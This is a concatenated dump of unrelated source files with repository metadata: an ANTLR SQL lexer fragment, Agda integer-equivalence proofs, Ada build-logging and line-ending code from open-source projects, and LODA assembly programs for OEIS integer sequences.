'DEFAULT'; DELETE: 'DELETE'; DESC: 'DESC'; DISTINCT: 'DISTINCT'; DROP: 'DROP'; FALSE: 'FALSE'; FROM: 'FROM'; GROUP: 'GROUP'; INNER: 'INNER'; INSERT: 'INSERT'; INTO: 'INTO'; IS: 'IS'; JOIN: 'JOIN'; KEY: 'KEY'; LEFT: 'LEFT'; LIKE: 'LIKE'; NATURAL: 'NATURAL'; NOT: 'NOT'; NULL_LITERAL: 'NULL'; ON: 'ON'; OR: 'OR'; ORDER: 'ORDER'; OUTER: 'OUTER'; PRIMARY: 'PRIMARY'; RIGHT: 'RIGHT'; SELECT: 'SELECT'; SET: 'SET'; SHOW: 'SHOW'; TABLE: 'TABLE'; TRUE: 'TRUE'; UPDATE: 'UPDATE'; USE: 'USE'; VALUES: 'VALUES'; WHERE: 'WHERE'; WITH: 'WITH'; XOR: 'XOR'; // DATA TYPE Keywords INT: 'INT'; LONG: 'LONG'; DOUBLE: 'DOUBLE'; FLOAT: 'FLOAT'; DECIMAL: 'DECIMAL'; NUMERIC: 'NUMERIC'; STRING: 'STRING'; // Group function Keywords AVG: 'AVG'; COUNT: 'COUNT'; MAX: 'MAX'; MIN: 'MIN'; SUM: 'SUM'; SHUTDOWN: 'SHUTDOWN'; // Operators // Operators. Assigns VAR_ASSIGN: ':='; PLUS_ASSIGN: '+='; MINUS_ASSIGN: '-='; MULT_ASSIGN: '*='; DIV_ASSIGN: '/='; MOD_ASSIGN: '%='; AND_ASSIGN: '&='; XOR_ASSIGN: '^='; OR_ASSIGN: '|='; // Operators. Arithmetics STAR: '*'; DIVIDE: '/'; MODULE: '%'; PLUS: '+'; MINUSMINUS: '--'; MINUS: '-'; DIV: 'DIV'; MOD: 'MOD'; // Operators. Comparation EQUAL_SYMBOL: '='; GREATER_SYMBOL: '>'; LESS_SYMBOL: '<'; EXCLAMATION_SYMBOL: '!'; // Operators. Bit BIT_NOT_OP: '~'; BIT_OR_OP: '|'; BIT_AND_OP: '&'; BIT_XOR_OP: '^'; // Constructors symbols DOT: '.'; LR_BRACKET: '('; RR_BRACKET: ')'; COMMA: ','; SEMI: ';'; AT_SIGN: '@'; ZERO_DECIMAL: '0'; ONE_DECIMAL: '1'; TWO_DECIMAL: '2'; SINGLE_QUOTE_SYMB: '\''; DOUBLE_QUOTE_SYMB: '"'; REVERSE_QUOTE_SYMB: '`'; COLON_SYMB: ':'; // Literal Primitives START_NATIONAL_STRING_LITERAL: 'N' SQUOTA_STRING; STRING_LITERAL: DQUOTA_STRING | SQUOTA_STRING; DECIMAL_LITERAL: DEC_DIGIT+; HEXADECIMAL_LITERAL: 'X' '\'' (HEX_DIGIT HEX_DIGIT)+ '\'' | '0X' HEX_DIGIT+; REAL_LITERAL: (DEC_DIGIT+)? '.' DEC_DIGIT+ | DEC_DIGIT+ '.' EXPONENT_NUM_PART | (DEC_DIGIT+)? '.' (DEC_DIGIT+ EXPONENT_NUM_PART) | DEC_DIGIT+ EXPONENT_NUM_PART; NULL_SPEC_LITERAL: '\\' 'N'; // Identifiers ID: ID_LITERAL; // Fragments for Literal primitives fragment EXPONENT_NUM_PART: 'E' '-'? DEC_DIGIT+; fragment ID_LITERAL: [A-Z_$0-9]*?[A-Z_$]+?[A-Z_$0-9]*; fragment DQUOTA_STRING: '"' ( '\\'. | '""' | ~('"'| '\\') )* '"'; fragment SQUOTA_STRING: '\'' ('\\'. | '\'\'' | ~('\'' | '\\'))* '\''; fragment BQUOTA_STRING: '`' ( '\\'. | '``' | ~('`'|'\\'))* '`'; fragment HEX_DIGIT: [0-9A-F]; fragment DEC_DIGIT: [0-9]; // Last tokens must generate Errors ERROR_RECONGNIGION: . -> channel(ERRORCHANNEL);
src/Integer/Univalence.agda
kcsmnt0/numbers
9
10687
<filename>src/Integer/Univalence.agda {-# OPTIONS --cubical #-} module Integer.Univalence where open import Cubical.Foundations.NTypes open import Data.Empty open import Data.Product as Σ open import Data.Product.Relation.Pointwise.NonDependent open import Data.Unit open import Equality open import Function open import Integer.Difference as D open import Integer.Signed as S open import Natural as ℕ open import Quotient as / open import Syntax open import Relation.Nullary zero≢suc : ∀ {m} → ¬ (zero ≡ suc m) zero≢suc p = case ⟪ p ⟫ of λ () ⟦D→S⟧ : D.⟦ℤ⟧ → S.⟦ℤ⟧ ⟦D→S⟧ (a – zero) = +1* a ⟦D→S⟧ (zero – b) = -1* b ⟦D→S⟧ (suc a – suc b) = ⟦D→S⟧ (a – b) D→S : D.ℤ → S.ℤ D→S = ⟦D→S⟧ // line where line : ∀ x y → x D.≈ y → ⟦D→S⟧ x S.≈ ⟦D→S⟧ y line (zero – zero) (zero – zero) p = refl line (zero – zero) (zero – suc d) p = refl , p line (zero – zero) (suc c – zero) p = compPath p (cong suc ⟨ +-identityʳ c ⟩) line (zero – b) (suc c – suc d) p = line (zero – b) (c – d) ⟨ suc-injective ⟪ p ⟫ ⟩ line (suc a – suc b) (zero – d) p = line (a – b) (zero – d) ⟨ suc-injective ⟪ p ⟫ ⟩ line (zero – suc b) (zero – zero) p = sym p , refl line (zero – suc b) (zero – suc d) p = sym p line (zero – suc b) (suc c – zero) p = case ⟪ p ⟫ of λ () line (suc a – zero) (zero – d) p = case ⟪ p ⟫ of λ () line (suc a – zero) (suc c – zero) p = suc a ≡⟨ cong suc (sym ⟨ +-identityʳ a ⟩) ⟩ suc (a + 0) ≡⟨ p ⟩ suc (c + 0) ≡⟨ cong suc ⟨ +-identityʳ c ⟩ ⟩ suc c ∎ line (suc a – b) (suc c – suc d) p = line (suc a – b) (c – d) ⟨ suc-injective ⟪ compPath (cong suc (sym (+-suc a d))) p ⟫ ⟩ line (suc a – suc b) (suc c – d) p = line (a – b) (suc c – d) ⟨ suc-injective ⟪ compPath p (cong suc (+-suc c b)) ⟫ ⟩ ⟦S→D⟧ : S.⟦ℤ⟧ → D.⟦ℤ⟧ ⟦S→D⟧ (+1* a) = a – zero ⟦S→D⟧ (-1* a) = zero – a ⟦D→S→D⟧ : ∀ x → ⟦S→D⟧ (⟦D→S⟧ x) D.≈ x ⟦D→S→D⟧ (zero – zero) = refl ⟦D→S→D⟧ (zero – suc b) = refl ⟦D→S→D⟧ (suc a – zero) = refl ⟦D→S→D⟧ (suc a – suc b) = let m , n = ⟦S→D⟧ (⟦D→S⟧ (a – b)) in m + suc b ≡⟨ +-suc m b ⟩ suc (m + b) ≡⟨ cong suc (⟦D→S→D⟧ (a – b)) ⟩ suc (a + n) ∎ ⟦S→D→S⟧ : ∀ x → ⟦D→S⟧ (⟦S→D⟧ x) S.≈ x ⟦S→D→S⟧ (+1* x) = refl ⟦S→D→S⟧ (-1* zero) = refl , refl ⟦S→D→S⟧ (-1* suc x) = refl cong-⟦S→D⟧ : ∀ x y → x S.≈ y → ⟦S→D⟧ x D.≈ ⟦S→D⟧ y cong-⟦S→D⟧ (+1* x) (+1* y) = cong (_+ zero) cong-⟦S→D⟧ (-1* x) (-1* y) = sym cong-⟦S→D⟧ (+1* x) (-1* y) = Σ.uncurry (cong₂ _+_) cong-⟦S→D⟧ (-1* x) (+1* y) (p , q) = compPath (sym (cong₂ _+_ p q)) ⟨ +-comm x y ⟩ cong-⟦D→S⟧ : ∀ x y → x D.≈ y → ⟦D→S⟧ x S.≈ ⟦D→S⟧ y cong-⟦D→S⟧ (zero – zero) (zero – zero) p = refl cong-⟦D→S⟧ (zero – zero) (zero – suc d) p = refl , p cong-⟦D→S⟧ (zero – zero) (suc c – zero) p = compPath p (cong suc ⟨ +-identityʳ c ⟩) cong-⟦D→S⟧ (zero – b) (suc c – suc d) p = cong-⟦D→S⟧ (zero – b) (c – d) ⟨ suc-injective ⟪ p ⟫ ⟩ cong-⟦D→S⟧ (suc a – suc b) (zero – d) p = cong-⟦D→S⟧ (a – b) (zero – d) ⟨ suc-injective ⟪ p ⟫ ⟩ cong-⟦D→S⟧ (zero – suc b) (zero – zero) p = sym p , refl cong-⟦D→S⟧ (zero – suc b) (zero – suc d) p = sym p cong-⟦D→S⟧ (zero – suc b) (suc c – zero) p = case ⟪ p ⟫ of λ () cong-⟦D→S⟧ (suc a – zero) (zero – d) p = case ⟪ p ⟫ of λ () cong-⟦D→S⟧ (suc a – zero) (suc c – zero) p = suc a ≡⟨ cong suc (sym ⟨ +-identityʳ a ⟩) ⟩ suc (a + 0) ≡⟨ p ⟩ suc (c + 0) ≡⟨ cong suc ⟨ +-identityʳ c ⟩ ⟩ suc c ∎ cong-⟦D→S⟧ (suc a – b) (suc c – suc d) p = cong-⟦D→S⟧ (suc a – b) (c – d) ⟨ suc-injective ⟪ compPath (cong suc (sym (+-suc a d))) p ⟫ ⟩ cong-⟦D→S⟧ (suc a – suc b) (suc c – d) p = cong-⟦D→S⟧ (a – b) (suc c – d) ⟨ suc-injective ⟪ compPath p (cong suc (+-suc c b)) ⟫ ⟩ Signed≡Difference : S.ℤ ≡ D.ℤ Signed≡Difference = ua (isoToEquiv ⟦S→D⟧ ⟦D→S⟧ cong-⟦S→D⟧ cong-⟦D→S⟧ ⟦S→D→S⟧ ⟦D→S→D⟧)
examples/simple-lib/Lib/Maybe.agda
redfish64/autonomic-agda
1
10684
<reponame>redfish64/autonomic-agda module Lib.Maybe where data Maybe (A : Set) : Set where nothing : Maybe A just : A -> Maybe A {-# COMPILED_DATA Maybe Maybe Nothing Just #-}
src/portscan-log.adb
kraileth/ravenadm
18
8332
<reponame>kraileth/ravenadm<gh_stars>10-100 -- This file is covered by the Internet Software Consortium (ISC) License -- Reference: ../License.txt with Ada.Calendar.Arithmetic; with Ada.Calendar.Formatting; with Ada.Characters.Latin_1; with Ada.Directories; with File_Operations; with Parameters; with Utilities; package body PortScan.Log is package DIR renames Ada.Directories; package CAR renames Ada.Calendar.Arithmetic; package CFM renames Ada.Calendar.Formatting; package LAT renames Ada.Characters.Latin_1; package FOP renames File_Operations; package PM renames Parameters; package UTL renames Utilities; -------------------------------------------------------------------------------------------- -- log_duration -------------------------------------------------------------------------------------------- function log_duration (start, stop : CAL.Time) return String is raw : HT.Text := HT.SUS ("Duration:"); diff_days : CAR.Day_Count; diff_secs : Duration; leap_secs : CAR.Leap_Seconds_Count; use type CAR.Day_Count; begin CAR.Difference (Left => stop, Right => start, Days => diff_days, Seconds => diff_secs, Leap_Seconds => leap_secs); if diff_days > 0 then if diff_days = 1 then HT.SU.Append (raw, " 1 day and " & CFM.Image (Elapsed_Time => diff_secs)); else HT.SU.Append (raw, diff_days'Img & " days and " & CFM.Image (Elapsed_Time => diff_secs)); end if; else HT.SU.Append (raw, " " & CFM.Image (Elapsed_Time => diff_secs)); end if; return HT.USS (raw); end log_duration; -------------------------------------------------------------------------------------------- -- bulk_run_duration -------------------------------------------------------------------------------------------- function bulk_run_duration return String is begin return log_duration (start_time, stop_time); end bulk_run_duration; -------------------------------------------------------------------------------------------- -- log_name -------------------------------------------------------------------------------------------- function log_name (sid : port_id) return String is portvar : constant String := get_port_variant (all_ports (sid)); origin : constant String := HT.part_1 (portvar, ":"); variant : constant String := HT.part_2 (portvar, ":"); begin return HT.USS (PM.configuration.dir_logs) & "/logs/" & origin & "___" & variant & ".log"; end log_name; -------------------------------------------------------------------------------------------- -- log_section -------------------------------------------------------------------------------------------- function log_section (title : String) return String is hyphens : constant String := (1 .. 50 => '-'); begin return LAT.LF & hyphens & LAT.LF & "-- " & title & LAT.LF & hyphens; end log_section; ------------------------------------------------------------------po-------------------------- -- timestamp -------------------------------------------------------------------------------------------- function timestamp (hack : CAL.Time; www_format : Boolean := False) return String is function MON (T : CAL.Time) return String; function WKDAY (T : CAL.Time) return String; function daystring (T : CAL.Time) return String; function MON (T : CAL.Time) return String is num : CAL.Month_Number := CAL.Month (T); begin case num is when 1 => return "JAN"; when 2 => return "FEB"; when 3 => return "MAR"; when 4 => return "APR"; when 5 => return "MAY"; when 6 => return "JUN"; when 7 => return "JUL"; when 8 => return "AUG"; when 9 => return "SEP"; when 10 => return "OCT"; when 11 => return "NOV"; when 12 => return "DEC"; end case; end MON; function WKDAY (T : CAL.Time) return String is day : CFM.Day_Name := CFM.Day_Of_Week (T); begin case day is when CFM.Monday => return "Monday"; when CFM.Tuesday => return "Tuesday"; when CFM.Wednesday => return "Wednesday"; when CFM.Thursday => return "Thursday"; when CFM.Friday => return "Friday"; when CFM.Saturday => return "Saturday"; when CFM.Sunday => return "Sunday"; end case; end WKDAY; function daystring (T : CAL.Time) return String is daynum : Natural := Natural (CAL.Day (T)); begin return HT.zeropad (daynum, 2); end daystring; begin if www_format then return daystring (hack) & " " & MON (hack) & CAL.Year (hack)'Img & ", " & CFM.Image (hack)(11 .. 19) & " UTC"; end if; return WKDAY (hack) & "," & daystring (hack) & " " & MON (hack) & CAL.Year (hack)'Img & " at" & CFM.Image (hack)(11 .. 19) & " UTC"; end timestamp; -------------------------------------------------------------------------------------------- -- scan_duration -------------------------------------------------------------------------------------------- function scan_duration return String is begin return elapsed_HH_MM_SS (start => scan_start, stop => scan_stop); end scan_duration; -------------------------------------------------------------------------------------------- -- elapsed_now -------------------------------------------------------------------------------------------- function elapsed_now return String is begin return elapsed_HH_MM_SS (start => start_time, stop => CAL.Clock); end elapsed_now; -------------------------------------------------------------------------------------------- -- elapsed_HH_MM_SS -------------------------------------------------------------------------------------------- function elapsed_HH_MM_SS (start, stop : CAL.Time) return String is diff_days : CAR.Day_Count; diff_secs : Duration; leap_secs : CAR.Leap_Seconds_Count; secs_per_hour : constant Integer := 3600; total_hours : Integer; total_minutes : Integer; work_hours : Integer; work_seconds : Integer; use type CAR.Day_Count; begin CAR.Difference (Left => stop, Right => start, Days => diff_days, Seconds => diff_secs, Leap_Seconds => leap_secs); -- Seems the ACF image is shit, so let's roll our own. If more than -- 100 hours, change format to "HHH:MM.M" work_seconds := Integer (diff_secs); total_hours := work_seconds / secs_per_hour; total_hours := total_hours + Integer (diff_days) * 24; if total_hours < 24 then if work_seconds < 0 then return "--:--:--"; else work_seconds := work_seconds - (total_hours * secs_per_hour); total_minutes := work_seconds / 60; work_seconds := work_seconds - (total_minutes * 60); return HT.zeropad (total_hours, 2) & LAT.Colon & HT.zeropad (total_minutes, 2) & LAT.Colon & HT.zeropad (work_seconds, 2); end if; elsif total_hours < 100 then if work_seconds < 0 then return HT.zeropad (total_hours, 2) & ":00:00"; else work_hours := work_seconds / secs_per_hour; work_seconds := work_seconds - (work_hours * secs_per_hour); total_minutes := work_seconds / 60; work_seconds := work_seconds - (total_minutes * 60); return HT.zeropad (total_hours, 2) & LAT.Colon & HT.zeropad (total_minutes, 2) & LAT.Colon & HT.zeropad (work_seconds, 2); end if; else if work_seconds < 0 then return HT.zeropad (total_hours, 3) & ":00.0"; else work_hours := work_seconds / secs_per_hour; work_seconds := work_seconds - (work_hours * secs_per_hour); total_minutes := work_seconds / 60; work_seconds := (work_seconds - (total_minutes * 60)) * 10 / 60; return HT.zeropad (total_hours, 3) & LAT.Colon & HT.zeropad (total_minutes, 2) & '.' & HT.int2str (work_seconds); end if; end if; end elapsed_HH_MM_SS; -------------------------------------------------------------------------------------------- -- split_collection -------------------------------------------------------------------------------------------- function split_collection (line : String; title : String) return String is -- Everything, including spaces, between quotes is preserved. -- Quotes preceded by backslashes within quotes are considered literals. -- Also supported is escaped spaces outside of quotes, e.g. -- TYPING=The\ Quick\ Brown\ Fox mask : String := UTL.mask_quoted_string (line); linelen : constant Natural := line'Length; keepit : Boolean; newline : Boolean := True; counter : Natural := 0; meatlen : Natural := 0; onechar : Character; meatstr : String (1 .. linelen); begin loop exit when counter = linelen; keepit := True; if mask (mask'First + counter) = LAT.Reverse_Solidus then keepit := False; elsif mask (mask'First + counter) = LAT.Space then if newline then keepit := False; elsif mask (mask'First + counter - 1) = LAT.Reverse_Solidus then onechar := LAT.Space; else onechar := LAT.LF; end if; else onechar := line (mask'First + counter); end if; if keepit then meatlen := meatlen + 1; meatstr (meatlen) := onechar; newline := (onechar = LAT.LF); end if; counter := counter + 1; end loop; return log_section (title) & LAT.LF & meatstr (1 .. meatlen) & LAT.LF & LAT.LF; end split_collection; -------------------------------------------------------------------------------------------- -- dump_port_variables -------------------------------------------------------------------------------------------- procedure dump_port_variables (log_handle : TIO.File_Type; contents : String) is type result_range is range 0 .. 6; markers : HT.Line_Markers; linenum : result_range := result_range'First; begin HT.initialize_markers (contents, markers); loop exit when not HT.next_line_present (contents, markers); exit when linenum = result_range'Last; linenum := linenum + 1; declare line : constant String := HT.extract_line (contents, markers); begin case linenum is when 0 => null; -- impossible when 1 => TIO.Put_Line (log_handle, split_collection (line, "CONFIGURE_ENV")); when 2 => TIO.Put_Line (log_handle, split_collection (line, "CONFIGURE_ARGS")); when 3 => TIO.Put_Line (log_handle, split_collection (line, "MAKE_ENV")); when 4 => TIO.Put_Line (log_handle, split_collection (line, "MAKE_ARGS")); when 5 => TIO.Put_Line (log_handle, split_collection (line, "PLIST_SUB")); when 6 => TIO.Put_Line (log_handle, split_collection (line, "SUB_LIST")); end case; end; end loop; end dump_port_variables; -------------------------------------------------------------------------------------------- -- log_phase_end -------------------------------------------------------------------------------------------- procedure log_phase_end (log_handle : TIO.File_Type) is begin TIO.Put_Line (log_handle, "" & LAT.LF); end log_phase_end; -------------------------------------------------------------------------------------------- -- log_phase_begin -------------------------------------------------------------------------------------------- procedure log_phase_begin (log_handle : TIO.File_Type; phase : String) is hyphens : constant String := (1 .. 80 => '-'); middle : constant String := "-- Phase: " & phase; begin TIO.Put_Line (log_handle, LAT.LF & hyphens & LAT.LF & middle & LAT.LF & hyphens); end log_phase_begin; -------------------------------------------------------------------------------------------- -- finalize_log -------------------------------------------------------------------------------------------- procedure finalize_log (log_handle : in out TIO.File_Type; head_time : CAL.Time; tail_time : out CAL.Time) is begin TIO.Put_Line (log_handle, log_section ("Termination")); tail_time := CAL.Clock; TIO.Put_Line (log_handle, "Finished: " & timestamp (tail_time)); TIO.Put_Line (log_handle, log_duration (start => head_time, stop => tail_time)); TIO.Close (log_handle); end finalize_log; -------------------------------------------------------------------------------------------- -- initialize_log -------------------------------------------------------------------------------------------- function initialize_log (log_handle : in out TIO.File_Type; head_time : out CAL.Time; seq_id : port_id; slave_root : String; UNAME : String; BENV : String; COPTS : String; PTVAR : String; block_dog : Boolean) return Boolean is H_ENV : constant String := "Environment"; H_OPT : constant String := "Options"; CFG1 : constant String := "/etc/make.conf"; CFG2 : constant String := "/etc/mk.conf"; begin head_time := CAL.Clock; declare log_path : constant String := log_name (seq_id); begin if DIR.Exists (log_path) then DIR.Delete_File (log_path); end if; FOP.mkdirp_from_filename (log_path); TIO.Create (File => log_handle, Mode => TIO.Out_File, Name => log_path); exception when error : others => raise scan_log_error with "failed to create log " & log_path; end; TIO.Put_Line (log_handle, "=> Building " & get_port_variant (all_ports (seq_id)) & " (version " & HT.USS (all_ports (seq_id).pkgversion) & ")"); TIO.Put_Line (log_handle, "Started : " & timestamp (head_time)); TIO.Put (log_handle, "Platform: " & UNAME); if block_dog then TIO.Put (log_handle, "Watchdog: Disabled"); end if; if BENV = discerr then TIO.Put_Line (log_handle, LAT.LF & "Environment definition failed, " & "aborting entire build"); return False; end if; TIO.Put_Line (log_handle, LAT.LF & log_section (H_ENV)); TIO.Put (log_handle, BENV); TIO.Put_Line (log_handle, "" & LAT.LF); TIO.Put_Line (log_handle, log_section (H_OPT)); TIO.Put (log_handle, COPTS); TIO.Put_Line (log_handle, "" & LAT.LF); dump_port_variables (log_handle, PTVAR); TIO.Put_Line (log_handle, log_section (CFG1)); TIO.Put (log_handle, FOP.get_file_contents (slave_root & CFG1)); TIO.Put_Line (log_handle, "" & LAT.LF); return True; end initialize_log; -------------------------------------------------------------------------------------------- -- set_scan_start_time -------------------------------------------------------------------------------------------- procedure set_scan_start_time (mark : CAL.Time) is begin scan_start := mark; end set_scan_start_time; -------------------------------------------------------------------------------------------- -- set_scan_complete -------------------------------------------------------------------------------------------- procedure set_scan_complete (mark : CAL.Time) is begin scan_stop := mark; end set_scan_complete; -------------------------------------------------------------------------------------------- -- set_scan_start_time -------------------------------------------------------------------------------------------- procedure set_overall_start_time (mark : CAL.Time) is begin start_time := mark; end set_overall_start_time; -------------------------------------------------------------------------------------------- -- set_scan_start_time -------------------------------------------------------------------------------------------- procedure set_overall_complete (mark : CAL.Time) is begin stop_time := mark; end set_overall_complete; -------------------------------------------------------------------------------------------- -- start_logging -------------------------------------------------------------------------------------------- procedure start_logging (flavor : count_type) is logpath : String := HT.USS (PM.configuration.dir_logs) & "/logs/" & logname (flavor); begin if DIR.Exists (logpath) then DIR.Delete_File (logpath); end if; TIO.Create (File => Flog (flavor), Mode => TIO.Out_File, Name => logpath); if flavor = total then TIO.Put_Line (Flog (total), "-=> Chronology of last build <=-" & LAT.LF & "Started: " & timestamp (start_time) & LAT.LF & "Ports to build: " & HT.int2str (original_queue_size) & LAT.LF & LAT.LF & "Purging any ignored/broken ports first ..."); TIO.Flush (Flog (total)); end if; exception when others => raise overall_log with "Failed to create " & logpath & bailing; end start_logging; -------------------------------------------------------------------------------------------- -- stop_logging -------------------------------------------------------------------------------------------- procedure stop_logging (flavor : count_type) is begin if flavor = total then TIO.Put_Line (Flog (flavor), "Finished: " & timestamp (stop_time)); TIO.Put_Line (Flog (flavor), log_duration (start => start_time, stop => stop_time)); TIO.Put_Line (Flog (flavor), LAT.LF & "---------------------------" & LAT.LF & "-- Final Statistics" & LAT.LF & "---------------------------" & LAT.LF & " Initial queue size:" & bld_counter (total)'Img & LAT.LF & " ports built:" & bld_counter (success)'Img & LAT.LF & " ignored:" & bld_counter (ignored)'Img & LAT.LF & " skipped:" & bld_counter (skipped)'Img & LAT.LF & " failed:" & bld_counter (failure)'Img); end if; TIO.Close (Flog (flavor)); end stop_logging; -------------------------------------------------------------------------------------------- -- scribe -------------------------------------------------------------------------------------------- procedure scribe (flavor : count_type; line : String; flush_after : Boolean) is begin TIO.Put_Line (Flog (flavor), line); if flush_after then TIO.Flush (Flog (flavor)); end if; end scribe; -------------------------------------------------------------------------------------------- -- flush_log -------------------------------------------------------------------------------------------- procedure flush_log (flavor : count_type) is begin TIO.Flush (Flog (flavor)); end flush_log; -------------------------------------------------------------------------------------------- -- set_build_counters -------------------------------------------------------------------------------------------- procedure set_build_counters (A, B, C, D, E : Natural) is begin bld_counter := (A, B, C, D, E); end set_build_counters; -------------------------------------------------------------------------------------------- -- increment_build_counter -------------------------------------------------------------------------------------------- procedure increment_build_counter (flavor : count_type; quantity : Natural := 1) is begin bld_counter (flavor) := bld_counter (flavor) + quantity; end increment_build_counter; -------------------------------------------------------------------------------------------- -- start_obsolete_package_logging -------------------------------------------------------------------------------------------- procedure start_obsolete_package_logging is logpath : constant String := HT.USS (PM.configuration.dir_logs) & "/logs/06_obsolete_packages.log"; begin if DIR.Exists (logpath) then DIR.Delete_File (logpath); end if; TIO.Create (File => obsolete_pkg_log, Mode => TIO.Out_File, Name => logpath); obsolete_log_open := True; exception when others => obsolete_log_open := False; end start_obsolete_package_logging; -------------------------------------------------------------------------------------------- -- stop_obsolete_package_logging -------------------------------------------------------------------------------------------- procedure stop_obsolete_package_logging is begin TIO.Close (obsolete_pkg_log); end stop_obsolete_package_logging; -------------------------------------------------------------------------------------------- -- obsolete_notice -------------------------------------------------------------------------------------------- procedure obsolete_notice (message : String; write_to_screen : Boolean) is begin if obsolete_log_open then TIO.Put_Line (obsolete_pkg_log, message); end if; if write_to_screen then TIO.Put_Line (message); end if; end obsolete_notice; -------------------------------------------------------------------------------------------- -- www_timestamp_start_time -------------------------------------------------------------------------------------------- function www_timestamp_start_time return String is begin return timestamp (start_time, True); end www_timestamp_start_time; -------------------------------------------------------------------------------------------- -- ports_remaining_to_build -------------------------------------------------------------------------------------------- function ports_remaining_to_build return Integer is begin return bld_counter (total) - bld_counter (success) - bld_counter (failure) - bld_counter (ignored) - bld_counter (skipped); end ports_remaining_to_build; -------------------------------------------------------------------------------------------- -- port_counter_value -------------------------------------------------------------------------------------------- function port_counter_value (flavor : count_type) return Integer is begin return bld_counter (flavor); end port_counter_value; -------------------------------------------------------------------------------------------- -- hourly_build_rate -------------------------------------------------------------------------------------------- function hourly_build_rate return Natural is pkg_that_count : constant Natural := bld_counter (success) + bld_counter (failure); begin return get_packages_per_hour (pkg_that_count, start_time); end hourly_build_rate; -------------------------------------------------------------------------------------------- -- get_packages_per_hour -------------------------------------------------------------------------------------------- function get_packages_per_hour (packages_done : Natural; from_when : CAL.Time) return Natural is diff_days : CAR.Day_Count; diff_secs : Duration; leap_secs : CAR.Leap_Seconds_Count; result : Natural; rightnow : CAL.Time := CAL.Clock; work_seconds : Integer; work_days : Integer; use type CAR.Day_Count; begin if packages_done = 0 then return 0; end if; CAR.Difference (Left => rightnow, Right => from_when, Days => diff_days, Seconds => diff_secs, Leap_Seconds => leap_secs); work_seconds := Integer (diff_secs); work_days := Integer (diff_days); work_seconds := work_seconds + (work_days * 3600 * 24); if work_seconds < 0 then -- should be impossible to get here. return 0; end if; result := packages_done * 3600; result := result / work_seconds; return result; exception when others => return 0; end get_packages_per_hour; -------------------------------------------------------------------------------------------- -- impulse_rate -------------------------------------------------------------------------------------------- function impulse_rate return Natural is pkg_that_count : constant Natural := bld_counter (success) + bld_counter (failure); pkg_diff : Natural; result : Natural; begin if impulse_counter = impulse_range'Last then impulse_counter := impulse_range'First; else impulse_counter := impulse_counter + 1; end if; if impulse_data (impulse_counter).virgin then impulse_data (impulse_counter).hack := CAL.Clock; impulse_data (impulse_counter).packages := pkg_that_count; impulse_data (impulse_counter).virgin := False; return get_packages_per_hour (pkg_that_count, start_time); end if; pkg_diff := pkg_that_count - impulse_data (impulse_counter).packages; result := get_packages_per_hour (packages_done => pkg_diff, from_when => impulse_data (impulse_counter).hack); impulse_data (impulse_counter).hack := CAL.Clock; impulse_data (impulse_counter).packages := pkg_that_count; return result; exception when others => return 0; end impulse_rate; end PortScan.Log;
source/encodings-line_endings-generic_strip_cr.adb
Vovanium/Encodings
0
19711
with Ada.Assertions; use Ada.Assertions; package body Encodings.Line_Endings.Generic_Strip_CR is procedure Convert( This: in out Coder; Source: in String_Type; Source_Last: out Natural; Target: out String_Type; Target_Last: out Natural ) is C: Character_Type; begin Source_Last := Source'First - 1; Target_Last := Target'First - 1; while Source_Last < Source'Last loop C := Source(Source_Last + 1); if This.Have_CR and C /= Line_Feed then -- emit CR not the part of CRLF sequence if Target_Last < Target'Last then Target_Last := Target_Last + 1; Target(Target_Last) := Carriage_Return; else return; end if; This.Have_CR := False; end if; if C = Carriage_Return then Assert(This.Have_CR = False, "Have should be cleared before or if condition shoudn't be true"); This.Have_CR := True; else This.Have_CR := False; if Target_Last < Target'Last then Target_Last := Target_Last + 1; Target(Target_Last) := C; else return; end if; end if; Source_Last := Source_Last + 1; end loop; end Convert; end Encodings.Line_Endings.Generic_Strip_CR;
programs/oeis/267/A267217.asm
neoneye/loda
22
92027
; A267217: 10-gonal (or decagonal) numbers with prime indices. ; 10,27,85,175,451,637,1105,1387,2047,3277,3751,5365,6601,7267,8695,11077,13747,14701,17755,19951,21097,24727,27307,31417,37345,40501,42127,45475,47197,50737,64135,68251,74665,76867,88357,90751,98125,105787,111055,119197,127627,130501,145351,148417,154645 mul $0,2 max $0,1 seq $0,173919 ; Numbers that are prime or one less than a prime. mov $1,12 mul $1,$0 sub $1,9 mul $1,$0 div $1,3 mov $0,$1
programs/oeis/144/A144065.asm
karttu/loda
1
176420
<filename>programs/oeis/144/A144065.asm ; A144065: Values of n such that the expression sqrt(4!*(n+1) + 1) yields an integer. ; 0,1,4,6,11,14,21,25,34,39,50,56,69,76,91,99,116,125,144,154,175,186,209,221,246,259,286,300,329,344,375,391,424,441,476,494,531,550,589,609,650,671,714,736,781,804,851,875,924,949,1000,1026,1079,1106,1161,1189,1246,1275,1334,1364,1425,1456,1519,1551,1616,1649,1716,1750,1819,1854,1925,1961,2034,2071,2146,2184,2261,2300,2379,2419,2500,2541,2624,2666,2751,2794,2881,2925,3014,3059,3150,3196,3289,3336,3431,3479,3576,3625,3724,3774,3875,3926,4029,4081,4186,4239,4346,4400,4509,4564,4675,4731,4844,4901,5016,5074,5191,5250,5369,5429,5550,5611,5734,5796,5921,5984,6111,6175,6304,6369,6500,6566,6699,6766,6901,6969,7106,7175,7314,7384,7525,7596,7739,7811,7956,8029,8176,8250,8399,8474,8625,8701,8854,8931,9086,9164,9321,9400,9559,9639,9800,9881,10044,10126,10291,10374,10541,10625,10794,10879,11050,11136,11309,11396,11571,11659,11836,11925,12104,12194,12375,12466,12649,12741,12926,13019,13206,13300,13489,13584,13775,13871,14064,14161,14356,14454,14651,14750,14949,15049,15250,15351,15554,15656,15861,15964,16171,16275,16484,16589,16800,16906,17119,17226,17441,17549,17766,17875,18094,18204,18425,18536,18759,18871,19096,19209,19436,19550,19779,19894,20125,20241,20474,20591,20826,20944,21181,21300,21539,21659,21900,22021,22264,22386,22631,22754,23001,23125,23374,23499 mul $0,6 div $0,4 add $0,3 bin $0,2 mov $1,$0 sub $1,3 div $1,3
src/ascon.ads
jhumphry/Ascon_SPARK
1
4367
